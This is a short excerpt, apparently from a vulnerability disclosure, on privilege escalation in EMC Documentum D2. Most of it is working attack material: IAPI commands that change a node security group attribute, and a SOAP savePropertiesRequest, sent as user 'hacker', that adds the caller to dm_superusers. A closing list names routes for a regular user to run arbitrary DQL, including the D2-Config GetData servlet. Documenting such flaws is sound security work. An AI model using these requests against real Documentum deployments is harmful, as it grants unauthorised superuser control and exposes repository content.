API> dump,c,l
...
USER ATTRIBUTES

...

  node_admin_security_group       : admingroup

...

API> set,c,l,node_user_security_group
SET> <any group attacker belongs to>
...
OK
API>
save,c,l
...
OK

soap:

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"
           xmlns:con="http://www.emc.com/d2fs/services/content_service"
           xmlns:com="http://www.emc.com/d2fs/models/common"
           xmlns:prop="http://www.emc.com/d2fs/services/property_service" 
           xmlns:att="http://www.emc.com/d2fs/models/attribute"
           xmlns:con1="http://www.emc.com/d2fs/models/context">
   <soapenv:Header/>
   <soapenv:Body>
      <prop:savePropertiesRequest com:id="1102248380000541" >
         <con1:context uid="2" login="hacker" password="hacker">
                <con1:repository com:id="2" repositoryName="d2" serverVersion="7"
                                 repositoryType="DOCUMENTUM" hideDomain="true"/>
            </con1:context>
         <!--Zero or more repetitions:-->
         <att:attributes name="list" type="2" value="group_membership" />
         <att:attributes name="user_group_name" type="2" value="dm_superusers" />
      </prop:savePropertiesRequest>
   </soapenv:Body>
</soapenv:Envelope>

Actually, you may ask how regular user can modify docbase object in D2 which is not exposed through D2 interface, possible options are:

  • through direct connection to Content Server, if available
  • through DFS, if available
  • through WDK application – DQL editor is not the only option to execute DQL query in WDK applications
  • through D2-Config – it has GetData servlet, which allows to execute arbitrary DQL query